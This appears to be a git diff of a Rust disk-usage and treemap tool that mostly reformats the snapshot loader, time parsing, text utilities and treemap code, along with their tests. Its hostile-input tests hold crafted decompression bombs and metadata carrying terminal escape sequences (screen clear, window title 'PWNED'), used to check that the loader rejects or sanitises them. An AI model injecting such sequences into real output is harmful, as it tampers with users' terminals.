Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, Err(e) => return Err(e), } } - Err(io::Error::new(io::ErrorKind::AlreadyExists, "snapshot: cannot create temporary file")) + Err(io::Error::new( + io::ErrorKind::AlreadyExists, + "snapshot: cannot create temporary file", + )) } fn hostname() -> String { @@ -257,7 +284,12 @@ const UNEXPECTED_EOF: &str = "unexpected EOF"; impl Body { fn new(rx: Receiver, String>>) -> Body { - Body { rx, buf: Vec::new(), pos: 0, err: None } + Body { + rx, + buf: Vec::new(), + pos: 0, + err: None, + } } /// Ensures unread bytes are buffered; false at end of stream. @@ -320,7 +352,8 @@ impl Body { fn bytes_n(&mut self, n: u64) -> Result, String> { let mut b = vec![0u8; n as usize]; - self.read_full(&mut b).map_err(|e| format!("snapshot: truncated: {e}"))?; + self.read_full(&mut b) + .map_err(|e| format!("snapshot: truncated: {e}"))?; Ok(b) } @@ -391,13 +424,16 @@ pub fn load_file(path: &Path) -> Result { fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result { let mut br = BufReader::with_capacity(1 << 20, input); let mut hdr = [0u8; 12]; - br.read_exact(&mut hdr).map_err(|_| "snapshot: file too short".to_string())?; + br.read_exact(&mut hdr) + .map_err(|_| "snapshot: file too short".to_string())?; if &hdr[..8] != brand::SNAPSHOT_MAGIC { return Err(format!("snapshot: not a {} snapshot", brand::NAME)); } let v = u16::from_le_bytes([hdr[8], hdr[9]]); if v != VERSION { - return Err(format!("snapshot: unsupported version {v} (this build reads {VERSION})")); + return Err(format!( + "snapshot: unsupported version {v} (this build reads {VERSION})" + )); } if u16::from_le_bytes([hdr[10], hdr[11]]) & FLAG_GZIPPED == 0 { return Err("snapshot: uncompressed bodies are not supported".into()); @@ -436,13 +472,16 @@ fn load_inner(input: impl Read, max_body: i64, max_nodes: u64) -> Result Result Result<(Tree, Meta), String> { return Err(format!("snapshot: node {i}: parent is not a directory")); } if !valid_name(&name) { - return Err(format!("snapshot: node {i}: invalid name {:?}", String::from_utf8_lossy(&name))); + return Err(format!( + "snapshot: node {i}: invalid name {:?}", + String::from_utf8_lossy(&name) + )); } let d = depth[parent as usize] + 1; if d > MAX_DEPTH { - return Err(format!("snapshot: node {i}: deeper than {MAX_DEPTH} levels")); + return Err(format!( + "snapshot: node {i}: deeper than {MAX_DEPTH} levels" + )); } depth.push(d); t.add(parent, &name, kind) @@ -544,7 +607,12 @@ fn parse(r: &mut Body, max_nodes: u64) -> Result<(Tree, Meta), String> { let kind = ErrKind::from_u8(r.byte1()?); // out-of-range kinds become Other let name = r.str(MAX_NAME_LEN, "error name")?; let msg = String::from_utf8_lossy(&r.str(MAX_MSG_LEN, "error message")?).into_owned(); - t.stats.errors.push(ErrorRecord { node, kind, name, msg }); + t.stats.errors.push(ErrorRecord { + node, + kind, + name, + msg, + }); } // The body must end here. if r.byte() != Err(EOF.into()) { @@ -571,19 +639,35 @@ const GO_ZERO_SECS: i64 = -62_135_596_800; impl Default for GoTime { fn default() -> Self { - GoTime { secs: GO_ZERO_SECS, nanos: 0, off: 0 } + GoTime { + secs: GO_ZERO_SECS, + nanos: 0, + off: 0, + } } } impl GoTime { fn from_system(t: SystemTime) -> GoTime { match t.duration_since(UNIX_EPOCH) { - Ok(d) => GoTime { secs: d.as_secs() as i64, nanos: d.subsec_nanos(), off: 0 }, + Ok(d) => GoTime { + secs: d.as_secs() as i64, + nanos: d.subsec_nanos(), + off: 0, + }, Err(e) => { let d = e.duration(); let (s, n) = (d.as_secs() as i64, d.subsec_nanos()); - let (secs, nanos) = if n == 0 { (-s, 0) } else { (-s - 1, 1_000_000_000 - n) }; - GoTime { secs, nanos, off: 0 } + let (secs, nanos) = if n == 0 { + (-s, 0) + } else { + (-s - 1, 1_000_000_000 - n) + }; + GoTime { + secs, + nanos, + off: 0, + } } } } @@ -602,7 +686,8 @@ impl GoTime { if self.secs >= 0 { UNIX_EPOCH + Duration::new(self.secs as u64, self.nanos) } else { - UNIX_EPOCH - Duration::from_secs(self.secs.unsigned_abs()) + Duration::from_nanos(self.nanos as u64) + UNIX_EPOCH - Duration::from_secs(self.secs.unsigned_abs()) + + Duration::from_nanos(self.nanos as u64) } } @@ -611,7 +696,12 @@ impl GoTime { let secs = self.secs + self.off as i64; let (y, mo, d) = civil_from_days(secs.div_euclid(86400)); let rem = secs.rem_euclid(86400); - let mut s = format!("{y:04}-{mo:02}-{d:02}T{:02}:{:02}:{:02}", rem / 3600, rem / 60 % 60, rem % 60); + let mut s = format!( + "{y:04}-{mo:02}-{d:02}T{:02}:{:02}:{:02}", + rem / 3600, + rem / 60 % 60, + rem % 60 + ); if self.nanos != 0 { s += format!(".{:09}", self.nanos).trim_end_matches('0'); } @@ -619,7 +709,12 @@ impl GoTime { return s + "Z"; } let a = self.off.unsigned_abs() / 60; - format!("{s}{}{:02}:{:02}", if self.off < 0 { '-' } else { '+' }, a / 60, a % 60) + format!( + "{s}{}{:02}:{:02}", + if self.off < 0 { '-' } else { '+' }, + a / 60, + a % 60 + ) } /// Parses RFC 3339 ("2026-10-08T10:40:00.123456789+01:00"). @@ -627,12 +722,27 @@ impl GoTime { let b = s.as_bytes(); let num = |r: std::ops::Range| -> Option { let p = b.get(r)?; - p.iter().all(u8::is_ascii_digit).then(|| p.iter().fold(0i64, |a, &c| a * 10 + (c - b'0') as i64)) + p.iter() + .all(u8::is_ascii_digit) + .then(|| p.iter().fold(0i64, |a, &c| a * 10 + (c - b'0') as i64)) }; - if b.len() < 20 || b[4] != b'-' || b[7] != b'-' || b[10] != b'T' || b[13] != b':' || b[16] != b':' { + if b.len() < 20 + || b[4] != b'-' + || b[7] != b'-' + || b[10] != b'T' + || b[13] != b':' + || b[16] != b':' + { return None; } - let (y, mo, d, h, mi, se) = (num(0..4)?, num(5..7)?, num(8..10)?, num(11..13)?, num(14..16)?, num(17..19)?); + let (y, mo, d, h, mi, se) = ( + num(0..4)?, + num(5..7)?, + num(8..10)?, + num(11..13)?, + num(14..16)?, + num(17..19)?, + ); if !(1..=12).contains(&mo) || !(1..=31).contains(&d) || h > 23 || mi > 59 || se > 59 { return None; } @@ -666,13 +776,26 @@ impl GoTime { _ => return None, }; let secs = days_from_civil(y, mo, d) * 86400 + h * 3600 + mi * 60 + se - off; - Some(GoTime { secs, nanos, off: off as i32 }) + Some(GoTime { + secs, + nanos, + off: off as i32, + }) } /// "2006-01-02 15:04" in local time. fn local_minutes(self) -> String { - let Some(tm) = localtime(self.secs) else { return self.format() }; - format!("{:04}-{:02}-{:02} {:02}:{:02}", tm.tm_year as i64 + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min) + let Some(tm) = localtime(self.secs) else { + return self.format(); + }; + format!( + "{:04}-{:02}-{:02} {:02}:{:02}", + tm.tm_year as i64 + 1900, + tm.tm_mon + 1, + tm.tm_mday, + tm.tm_hour, + tm.tm_min + ) } } @@ -693,7 +816,8 @@ impl<'de> Deserialize<'de> for GoTime { // null leaves the zero time, as in Go. match Option::::deserialize(d)? { None => Ok(GoTime::default()), - Some(s) => GoTime::parse(&s).ok_or_else(|| serde::de::Error::custom(format!("parsing time {s:?}"))), + Some(s) => GoTime::parse(&s) + .ok_or_else(|| serde::de::Error::custom(format!("parsing time {s:?}"))), } } } @@ -737,7 +861,12 @@ mod tests { t.node_mut(f2).flags = FLAG_SPARSE; t.recompute(); (t.stats.files, t.stats.dirs) = (2, 3); - t.stats.add_error(ErrorRecord { node: b, kind: ErrKind::Permission, msg: "denied".into(), ..Default::default() }); + t.stats.add_error(ErrorRecord { + node: b, + kind: ErrKind::Permission, + msg: "denied".into(), + ..Default::default() + }); t } @@ -755,8 +884,12 @@ mod tests { for i in 0..src.len() as NodeId { let (a, b) = (src.node(i), got.node(i)); assert!( - a.name == b.name && a.tot_size == b.tot_size && a.tot_alloc == b.tot_alloc && a.flags == b.flags - && src.path(i) == got.path(i) && src.ext_name(a) == got.ext_name(b), + a.name == b.name + && a.tot_size == b.tot_size + && a.tot_alloc == b.tot_alloc + && a.flags == b.flags + && src.path(i) == got.path(i) + && src.ext_name(a) == got.ext_name(b), "node {i} differs: {a:?} vs {b:?}" ); } @@ -802,8 +935,14 @@ mod tests { assert_eq!(paths.get("/srv/a/x.iso"), Some(&Status::Grew), "{ch:?}"); assert_eq!(paths.get("/srv/b"), Some(&Status::Removed), "{ch:?}"); assert_eq!(paths.get("/srv/c"), Some(&Status::Added), "{ch:?}"); - assert!(!paths.contains_key("/srv/a"), "/srv/a should be explained by its child"); - assert!(!paths.contains_key("/srv/c/z"), "contents of new dirs should not be listed separately"); + assert!( + !paths.contains_key("/srv/a"), + "/srv/a should be explained by its child" + ); + assert!( + !paths.contains_key("/srv/c/z"), + "contents of new dirs should not be listed separately" + ); } fn body(b: &[u8]) -> Body { @@ -813,7 +952,11 @@ mod tests { } fn put_uvarint(v: u64) -> Vec { - let mut w = Writer { gz: GzEncoder::new(Vec::new(), Compression::fast()), h: Sha256::new(), buf: Vec::new() }; + let mut w = Writer { + gz: GzEncoder::new(Vec::new(), Compression::fast()), + h: Sha256::new(), + buf: Vec::new(), + }; w.uvarint(v).unwrap(); w.buf } @@ -824,7 +967,10 @@ mod tests { assert_eq!(read_uvarint(&mut body(&put_uvarint(v))), Ok(v)); } assert_eq!(put_uvarint(300), [0xac, 0x02]); - assert!(read_uvarint(&mut body(&[0xff; 11])).is_err(), "overflow not detected"); + assert!( + read_uvarint(&mut body(&[0xff; 11])).is_err(), + "overflow not detected" + ); // Zig-zag as Go's PutVarint. for (v, enc) in [(0i64, 0u64), (-1, 1), (1, 2), (-2, 3), (i64::MIN, u64::MAX)] { assert_eq!(((v << 1) ^ (v >> 63)) as u64, enc); @@ -837,13 +983,38 @@ mod tests { let t = GoTime::parse("2026-10-08T10:40:00.123456789+01:00").unwrap(); assert_eq!((t.secs, t.nanos, t.off), (1_791_452_400, 123_456_789, 3600)); assert_eq!(t.format(), "2026-10-08T10:40:00.123456789+01:00"); - assert_eq!(GoTime { off: 0, ..t }.format(), "2026-10-08T09:40:00.123456789Z"); - assert_eq!(GoTime { off: -5 * 3600 - 1800, ..t }.format(), "2026-10-08T04:10:00.123456789-05:30"); - assert_eq!(GoTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(), "2026-10-08T09:40:00.1Z"); - assert_eq!(GoTime::parse("0001-01-01T00:00:00Z"), Some(GoTime::default())); + assert_eq!( + GoTime { off: 0, ..t }.format(), + "2026-10-08T09:40:00.123456789Z" + ); + assert_eq!( + GoTime { + off: -5 * 3600 - 1800, + ..t + } + .format(), + "2026-10-08T04:10:00.123456789-05:30" + ); + assert_eq!( + GoTime::parse("2026-10-08T09:40:00.1Z").unwrap().format(), + "2026-10-08T09:40:00.1Z" + ); + assert_eq!( + GoTime::parse("0001-01-01T00:00:00Z"), + Some(GoTime::default()) + ); assert_eq!(GoTime::default().format(), "0001-01-01T00:00:00Z"); - assert_eq!(GoTime::from_system(GoTime::default().to_system()), GoTime::default()); - for bad in ["", "2026-10-08", "2026-13-08T00:00:00Z", "2026-10-08T00:00:00", "2026-10-08T00:00:00.Z"] { + assert_eq!( + GoTime::from_system(GoTime::default().to_system()), + GoTime::default() + ); + for bad in [ + "", + "2026-10-08", + "2026-13-08T00:00:00Z", + "2026-10-08T00:00:00", + "2026-10-08T00:00:00.Z", + ] { assert_eq!(GoTime::parse(bad), None, "{bad}"); } } @@ -852,21 +1023,34 @@ mod tests { /// (tree/{a/x.iso 10000 B, a/b/note.txt, c/y.log 3000 B, c/link -> ../a}). #[test] fn loads_go_snapshot() { - let t = load_file(Path::new(concat!(env!("CARGO_MANIFEST_DIR"), "/src/snapshot/testdata/go.msz"))).unwrap(); + let t = load_file(Path::new(concat!( + env!("CARGO_MANIFEST_DIR"), + "/src/snapshot/testdata/go.msz" + ))) + .unwrap(); let r = t.node(0); assert_eq!((r.tot_size, r.tot_alloc), (13310, 20480)); assert_eq!((t.stats.files, t.stats.dirs, t.stats.symlinks), (3, 4, 1)); assert_eq!(t.len(), 8); assert!(t.stats.root.ends_with(b"/tree")); assert!(t.stats.end.is_some() && t.stats.complete); - assert!(t.stats.from_snapshot.contains("mapsize"), "{}", t.stats.from_snapshot); - let iso = (0..t.len() as NodeId).find(|&i| &t.node(i).name[..] == b"x.iso").unwrap(); + assert!( + t.stats.from_snapshot.contains("mapsize"), + "{}", + t.stats.from_snapshot + ); + let iso = (0..t.len() as NodeId) + .find(|&i| &t.node(i).name[..] == b"x.iso") + .unwrap(); assert_eq!(t.node(iso).size, 10000); assert_eq!(t.ext_name(t.node(iso)), "iso"); assert!(t.path_string(iso).ends_with("/tree/a/x.iso")); // And it survives a Rust round trip unchanged. let again = load(&saved(&t)[..]).unwrap(); - assert_eq!((again.node(0).tot_size, again.len(), again.stats.start), (13310, 8, t.stats.start)); + assert_eq!( + (again.node(0).tot_size, again.len(), again.stats.start), + (13310, 8, t.stats.start) + ); } // Hostile input. @@ -877,7 +1061,11 @@ mod tests { out.extend_from_slice(brand::SNAPSHOT_MAGIC); out.extend_from_slice(&VERSION.to_le_bytes()); out.extend_from_slice(&FLAG_GZIPPED.to_le_bytes()); - let mut w = Writer { gz: GzEncoder::new(out, Compression::best()), h: Sha256::new(), buf: Vec::new() }; + let mut w = Writer { + gz: GzEncoder::new(out, Compression::best()), + h: Sha256::new(), + buf: Vec::new(), + }; w.uvarint(meta.len() as u64).unwrap(); w.bytes(meta.as_bytes()).unwrap(); w.uvarint(1).unwrap(); @@ -908,49 +1096,80 @@ mod tests { } fn chain(n: usize) -> Vec { - craft(n, r#"{"root":"/r"}"#, |i, w| if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, 1, Kind::Dir, "a", 0) }) + craft(n, r#"{"root":"/r"}"#, |i, w| { + if i == 0 { + node(w, 0, Kind::Dir, "", 0) + } else { + node(w, 1, Kind::Dir, "a", 0) + } + }) } #[test] fn deep_chain_rejected() { load(&chain(MAX_DEPTH as usize + 1)[..]).expect("depth at the limit must load"); - let err = load(&chain(MAX_DEPTH as usize + 2)[..]).err().expect("over-deep chain accepted"); + let err = load(&chain(MAX_DEPTH as usize + 2)[..]) + .err() + .expect("over-deep chain accepted"); assert!(err.to_string().contains("deeper"), "{err}"); } #[test] fn decompression_bomb_limited() { let flat = craft(100_000, r#"{"root":"/r"}"#, |i, w| { - if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, i as u64, Kind::File, "f", 0) } + if i == 0 { + node(w, 0, Kind::Dir, "", 0) + } else { + node(w, i as u64, Kind::File, "f", 0) + } }); - let err = load_limit(&flat[..], 64 << 10).err().expect("bomb not limited"); + let err = load_limit(&flat[..], 64 << 10) + .err() + .expect("bomb not limited"); assert!(err.to_string().contains("limit"), "{err}"); - assert!(body_limit(flat.len() as i64) >= 64 << 20, "body_limit floor"); + assert!( + body_limit(flat.len() as i64) >= 64 << 20, + "body_limit floor" + ); } #[test] fn huge_sizes_do_not_wrap() { let data = craft(3, r#"{"root":"/r"}"#, |i, w| { - if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, i as u64, Kind::File, "f", MAX_SIZE) } + if i == 0 { + node(w, 0, Kind::Dir, "", 0) + } else { + node(w, i as u64, Kind::File, "f", MAX_SIZE) + } }); let tr = load(&data[..]).unwrap(); assert!(tr.node(0).tot_size >= 0, "aggregate wrapped negative"); let over = craft(2, r#"{"root":"/r"}"#, |i, w| { - if i == 0 { node(w, 0, Kind::Dir, "", 0) } else { node(w, 1, Kind::File, "f", MAX_SIZE + 1) } + if i == 0 { + node(w, 0, Kind::Dir, "", 0) + } else { + node(w, 1, Kind::File, "f", MAX_SIZE + 1) + } }); assert!(load(&over[..]).is_err(), "size above MAX_SIZE accepted"); } #[test] fn hostile_metadata_sanitised_in_summary() { - let data = craft(1, r#"{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}"#, |_, w| { - node(w, 0, Kind::Dir, "", 0) - }); + let data = craft( + 1, + r#"{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}"#, + |_, w| node(w, 0, Kind::Dir, "", 0), + ); let mut tr = load(&data[..]).unwrap(); tr.stats.excluded = 1; let mut b = Vec::new(); crate::export::summary(&mut b, &tr).unwrap(); - assert!(!b.iter().any(|&c| c == 0x1b || c == 0x07), "raw control characters in summary: {:?}", String::from_utf8_lossy(&b)); + assert!( + !b.iter().any(|&c| c == 0x1b || c == 0x07), + "raw control characters in summary: {:?}", + String::from_utf8_lossy(&b) + ); } /// Blocks of one directory plus K-1 files repeat byte for byte, so a @@ -971,7 +1190,9 @@ mod tests { fs::write(&p, &data).unwrap(); let res = load_file(&p); let _ = fs::remove_file(&p); - let err = res.err().unwrap_or_else(|| panic!("{N} nodes from a {}-byte file accepted", data.len())); + let err = res + .err() + .unwrap_or_else(|| panic!("{N} nodes from a {}-byte file accepted", data.len())); assert!(err.to_string().contains("node count"), "{err}"); } @@ -983,7 +1204,11 @@ mod tests { save_file(&p, &sample()).unwrap(); assert!(is_snapshot(&p)); assert_eq!(load_file(&p).unwrap().len(), 5); - assert_eq!(fs::read_dir(&dir).unwrap().count(), 1, "temp file left behind"); + assert_eq!( + fs::read_dir(&dir).unwrap().count(), + 1, + "temp file left behind" + ); fs::remove_dir_all(&dir).unwrap(); } } diff --git a/src/textutil.rs b/src/textutil.rs index a64cea0..0a2784f 100644 --- a/src/textutil.rs +++ b/src/textutil.rs @@ -41,7 +41,11 @@ pub fn sanitize(s: &str) -> String { } fn is_bidi_control(r: u32) -> bool { - (0x202a..=0x202e).contains(&r) || (0x2066..=0x2069).contains(&r) || r == 0x200e || r == 0x200f || r == 0x061c + (0x202a..=0x202e).contains(&r) + || (0x2066..=0x2069).contains(&r) + || r == 0x200e + || r == 0x200f + || r == 0x061c } /// Calls f for each grapheme cluster of s with its display width. Clusters @@ -53,7 +57,11 @@ pub fn clusters(s: &str, mut f: impl FnMut(&str, usize) -> bool) { for c in s.graphemes(true) { let mut chars = c.chars(); let first = chars.next().unwrap(); - let w = if chars.next().is_none() { first.width().unwrap_or(0) } else { c.width() }; + let w = if chars.next().is_none() { + first.width().unwrap_or(0) + } else { + c.width() + }; if w == 0 { continue; } @@ -171,7 +179,11 @@ const IEC_UNITS: [&str; 7] = ["B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"]; const SI_UNITS: [&str; 7] = ["B", "kB", "MB", "GB", "TB", "PB", "EB"]; fn scaled(n: i64) -> (f64, &'static str) { - let (base, units) = if si() { (1000.0, &SI_UNITS) } else { (1024.0, &IEC_UNITS) }; + let (base, units) = if si() { + (1000.0, &SI_UNITS) + } else { + (1024.0, &IEC_UNITS) + }; let neg = n < 0; let mut v = (n as f64).abs(); let mut i = 0; @@ -295,7 +307,14 @@ mod tests { #[test] fn sizes() { - for (n, want) in [(0, "0 B"), (1023, "1023 B"), (1024, "1.00 KiB"), (1536, "1.50 KiB"), (181 << 30, "181 GiB"), (1 << 62, "4.00 EiB")] { + for (n, want) in [ + (0, "0 B"), + (1023, "1023 B"), + (1024, "1.00 KiB"), + (1536, "1.50 KiB"), + (181 << 30, "181 GiB"), + (1 << 62, "4.00 EiB"), + ] { assert_eq!(size(n), want); } assert_eq!(count(2184392), "2,184,392"); @@ -330,7 +349,12 @@ pub fn rfc3339_utc(unix_nanos: i64) -> String { let d = doy - (153 * mp + 2) / 5 + 1; let m = if mp < 10 { mp + 3 } else { mp - 9 }; let y = yoe + era * 400 + (m <= 2) as i64; - format!("{y:04}-{m:02}-{d:02}T{:02}:{:02}:{:02}Z", rem / 3600, rem / 60 % 60, rem % 60) + format!( + "{y:04}-{m:02}-{d:02}T{:02}:{:02}:{:02}Z", + rem / 3600, + rem / 60 % 60, + rem % 60 + ) } /// Formats a duration like Go's time.Duration.String after rounding to @@ -365,7 +389,10 @@ mod time_tests { #[test] fn formats() { assert_eq!(rfc3339_utc(0), "1970-01-01T00:00:00Z"); - assert_eq!(rfc3339_utc(1_791_456_000 * 1_000_000_000), "2026-10-08T10:40:00Z"); + assert_eq!( + rfc3339_utc(1_791_456_000 * 1_000_000_000), + "2026-10-08T10:40:00Z" + ); assert_eq!(go_duration(Duration::from_micros(1_234_400)), "1.234s"); assert_eq!(go_duration(Duration::from_millis(250)), "250ms"); assert_eq!(go_duration(Duration::from_millis(123_500)), "2m3.5s"); diff --git a/src/treemap/mod.rs b/src/treemap/mod.rs index c412aea..eea578b 100644 --- a/src/treemap/mod.rs +++ b/src/treemap/mod.rs @@ -33,7 +33,12 @@ impl Rect { /// Shrinks by n cells on each side. pub fn inset(&self, n: i32) -> Rect { - Rect { x: self.x + n, y: self.y + n, w: (self.w - 2 * n).max(0), h: (self.h - 2 * n).max(0) } + Rect { + x: self.x + n, + y: self.y + n, + w: (self.w - 2 * n).max(0), + h: (self.h - 2 * n).max(0), + } } } @@ -61,7 +66,11 @@ pub fn squarify(items: &[Item], bounds: Rect) -> Vec { if bounds.empty() { return Vec::new(); } - let mut its: Vec = items.iter().copied().filter(|it| it.size > 0.0 && it.size.is_finite()).collect(); + let mut its: Vec = items + .iter() + .copied() + .filter(|it| it.size > 0.0 && it.size.is_finite()) + .collect(); let total: f64 = its.iter().map(|it| it.size).sum(); if its.is_empty() || total <= 0.0 { return Vec::new(); @@ -69,14 +78,28 @@ pub fn squarify(items: &[Item], bounds: Rect) -> Vec { its.sort_by(|a, b| b.size.total_cmp(&a.size).then(a.id.cmp(&b.id))); let scale = bounds.w as f64 * bounds.h as f64 / total; let areas: Vec = its.iter().map(|it| it.size * scale).collect(); - let frs = layout(&areas, bounds.x as f64, bounds.y as f64, bounds.w as f64, bounds.h as f64); + let frs = layout( + &areas, + bounds.x as f64, + bounds.y as f64, + bounds.w as f64, + bounds.h as f64, + ); let mut out = Vec::with_capacity(its.len()); for (it, f) in its.iter().zip(frs) { let (x0, y0) = (f[0].round() as i32, f[1].round() as i32); let x1 = ((f[0] + f[2]).round() as i32).min(bounds.x + bounds.w); let y1 = ((f[1] + f[3]).round() as i32).min(bounds.y + bounds.h); if x1 > x0 && y1 > y0 { - out.push(Block { id: it.id, rect: Rect { x: x0, y: y0, w: x1 - x0, h: y1 - y0 } }); + out.push(Block { + id: it.id, + rect: Rect { + x: x0, + y: y0, + w: x1 - x0, + h: y1 - y0, + }, + }); } } out @@ -117,7 +140,11 @@ fn layout(areas: &[f64], mut x: f64, mut y: f64, mut w: f64, mut h: f64) -> Vec< } let mut yy = y; for k in i..j { - let hh = if k == j - 1 { y + h - yy } else { areas[k] / sum * h }; + let hh = if k == j - 1 { + y + h - yy + } else { + areas[k] / sum * h + }; out[k] = [x, yy, thick, hh]; yy += hh; } @@ -130,7 +157,11 @@ fn layout(areas: &[f64], mut x: f64, mut y: f64, mut w: f64, mut h: f64) -> Vec< } let mut xx = x; for k in i..j { - let ww = if k == j - 1 { x + w - xx } else { areas[k] / sum * w }; + let ww = if k == j - 1 { + x + w - xx + } else { + areas[k] / sum * w + }; out[k] = [xx, y, ww, thick]; xx += ww; } @@ -203,7 +234,10 @@ pub(crate) mod tests { for bl in blocks { let br = bl.rect; assert!(br.w > 0 && br.h > 0, "non-positive block {bl:?}"); - assert!(br.x >= b.x && br.y >= b.y && br.x + br.w <= b.x + b.w && br.y + br.h <= b.y + b.h, "block {bl:?} outside bounds {b:?}"); + assert!( + br.x >= b.x && br.y >= b.y && br.x + br.w <= b.x + b.w && br.y + br.h <= b.y + b.h, + "block {bl:?} outside bounds {b:?}" + ); for y in br.y..br.y + br.h { for x in br.x..br.x + br.w { let i = ((y - b.y) * b.w + (x - b.x)) as usize; @@ -222,7 +256,15 @@ pub(crate) mod tests { #[test] fn squarify_basic() { let b = r(2, 3, 60, 20); - let items = [it(1, 6.0), it(2, 6.0), it(3, 4.0), it(4, 3.0), it(5, 2.0), it(6, 2.0), it(7, 1.0)]; + let items = [ + it(1, 6.0), + it(2, 6.0), + it(3, 4.0), + it(4, 3.0), + it(5, 2.0), + it(6, 2.0), + it(7, 1.0), + ]; let blocks = squarify(&items, b); assert_eq!(blocks.len(), items.len()); check_partition(&blocks, b, true); @@ -230,7 +272,11 @@ pub(crate) mod tests { for bl in &blocks { let want = b.area() as f64 * items[(bl.id - 1) as usize].size / 24.0; let got = bl.rect.area() as f64; - assert!(got >= want * 0.6 - 4.0 && got <= want * 1.4 + 4.0, "block {} area {got} want ~{want}", bl.id); + assert!( + got >= want * 0.6 - 4.0 && got <= want * 1.4 + 4.0, + "block {} area {got} want ~{want}", + bl.id + ); } // Deterministic regardless of input order. let mut rev = items.to_vec(); @@ -241,9 +287,18 @@ pub(crate) mod tests { #[test] fn squarify_edge_cases() { assert!(squarify(&[], r(0, 0, 10, 10)).is_empty()); - assert!(squarify(&[it(1, 0.0), it(2, -5.0)], r(0, 0, 10, 10)).is_empty(), "zero sizes should produce nothing"); + assert!( + squarify(&[it(1, 0.0), it(2, -5.0)], r(0, 0, 10, 10)).is_empty(), + "zero sizes should produce nothing" + ); assert!(squarify(&[it(1, f64::NAN), it(2, f64::INFINITY)], r(0, 0, 10, 10)).is_empty()); - for b in [r(0, 0, 0, 0), r(0, 0, 1, 1), r(0, 0, 1, 50), r(0, 0, 50, 1), r(0, 0, -3, 4)] { + for b in [ + r(0, 0, 0, 0), + r(0, 0, 1, 1), + r(0, 0, 1, 50), + r(0, 0, 50, 1), + r(0, 0, -3, 4), + ] { let bl = squarify(&[it(1, 5.0), it(2, 3.0), it(3, 1.0)], b); if !b.empty() { check_partition(&bl, b, true); @@ -258,7 +313,13 @@ pub(crate) mod tests { #[test] fn resize_recomputes() { let items = [it(1, 50.0), it(2, 30.0), it(3, 20.0)]; - for b in [r(0, 0, 80, 24), r(0, 0, 120, 40), r(0, 0, 300, 80), r(0, 0, 70, 20), r(0, 0, 180, 50)] { + for b in [ + r(0, 0, 80, 24), + r(0, 0, 120, 40), + r(0, 0, 300, 80), + r(0, 0, 70, 20), + r(0, 0, 180, 50), + ] { let bl = squarify(&items, b); check_partition(&bl, b, true); assert_eq!(bl.len(), 3, "{b:?}"); @@ -270,7 +331,11 @@ pub(crate) mod tests { fn squarify_random_partitions() { let mut rng = Rng::new(1); for _ in 0..300 { - let (w, h, n) = (rng.intn(400) as i32, rng.intn(150) as i32, rng.intn(3000) as usize); + let (w, h, n) = ( + rng.intn(400) as i32, + rng.intn(150) as i32, + rng.intn(3000) as usize, + ); let items: Vec = (0..n) .map(|i| { let bits = rng.intn(40) + 1; @@ -290,12 +355,25 @@ pub(crate) mod tests { let sizes = [100.0, 50.0, 10.0, 1.0, 1.0, 1.0]; assert_eq!(visible(&sizes, 163.0, 1630, 20, 100), 3); assert_eq!(visible(&sizes, 163.0, 1630, 20, 2), 2, "max_items"); - assert_eq!(visible(&[10.0, 1.0], 11.0, 1100, 200, 10), 2, "single leftover"); + assert_eq!( + visible(&[10.0, 1.0], 11.0, 1100, 200, 10), + 2, + "single leftover" + ); } #[test] fn at_finds_block() { - let bl = [Block { id: 1, rect: r(0, 0, 5, 5) }, Block { id: 2, rect: r(5, 0, 5, 5) }]; + let bl = [ + Block { + id: 1, + rect: r(0, 0, 5, 5), + }, + Block { + id: 2, + rect: r(5, 0, 5, 5), + }, + ]; assert_eq!(at(&bl, 6, 2), Some(2)); assert_eq!(at(&bl, 10, 2), None); } diff --git a/src/treemap/nav.rs b/src/treemap/nav.rs index 86187d7..e8fc446 100644 --- a/src/treemap/nav.rs +++ b/src/treemap/nav.rs @@ -33,10 +33,38 @@ pub fn neighbour(blocks: &[Block], sel: i64, d: Direction) -> Option { } let c = b.rect; let (ok, gap, lo, hi, clo, chi) = match d { - Direction::Right => (c.x >= s.x + s.w, c.x - (s.x + s.w), s.y, s.y + s.h, c.y, c.y + c.h), - Direction::Left => (c.x + c.w <= s.x, s.x - (c.x + c.w), s.y, s.y + s.h, c.y, c.y + c.h), - Direction::Down => (c.y >= s.y + s.h, c.y - (s.y + s.h), s.x, s.x + s.w, c.x, c.x + c.w), - Direction::Up => (c.y + c.h <= s.y, s.y - (c.y + c.h), s.x, s.x + s.w, c.x, c.x + c.w), + Direction::Right => ( + c.x >= s.x + s.w, + c.x - (s.x + s.w), + s.y, + s.y + s.h, + c.y, + c.y + c.h, + ), + Direction::Left => ( + c.x + c.w <= s.x, + s.x - (c.x + c.w), + s.y, + s.y + s.h, + c.y, + c.y + c.h, + ), + Direction::Down => ( + c.y >= s.y + s.h, + c.y - (s.y + s.h), + s.x, + s.x + s.w, + c.x, + c.x + c.w, + ), + Direction::Up => ( + c.y + c.h <= s.y, + s.y - (c.y + c.h), + s.x, + s.x + s.w, + c.x, + c.x + c.w, + ), }; if !ok { continue; @@ -68,7 +96,10 @@ mod tests { use super::Direction::*; fn blk(id: i64, x: i32, y: i32, w: i32, h: i32) -> Block { - Block { id, rect: r(x, y, w, h) } + Block { + id, + rect: r(x, y, w, h), + } } // Layout: @@ -86,9 +117,18 @@ mod tests { let d = blk(4, 4, 4, 12, 4); let bs = [d, c, b, a]; // order must not matter let cases = [ - (1, Right, Some(2)), (2, Left, Some(1)), (1, Down, Some(3)), (2, Down, Some(4)), - (3, Right, Some(4)), (4, Left, Some(3)), (3, Up, Some(1)), (4, Up, Some(2)), - (1, Left, None), (1, Up, None), (4, Right, None), (4, Down, None), + (1, Right, Some(2)), + (2, Left, Some(1)), + (1, Down, Some(3)), + (2, Down, Some(4)), + (3, Right, Some(4)), + (4, Left, Some(3)), + (3, Up, Some(1)), + (4, Up, Some(2)), + (1, Left, None), + (1, Up, None), + (4, Right, None), + (4, Down, None), ]; for (from, dir, want) in cases { assert_eq!(neighbour(&bs, from, dir), want, "from {from} dir {dir:?}"); @@ -109,7 +149,11 @@ 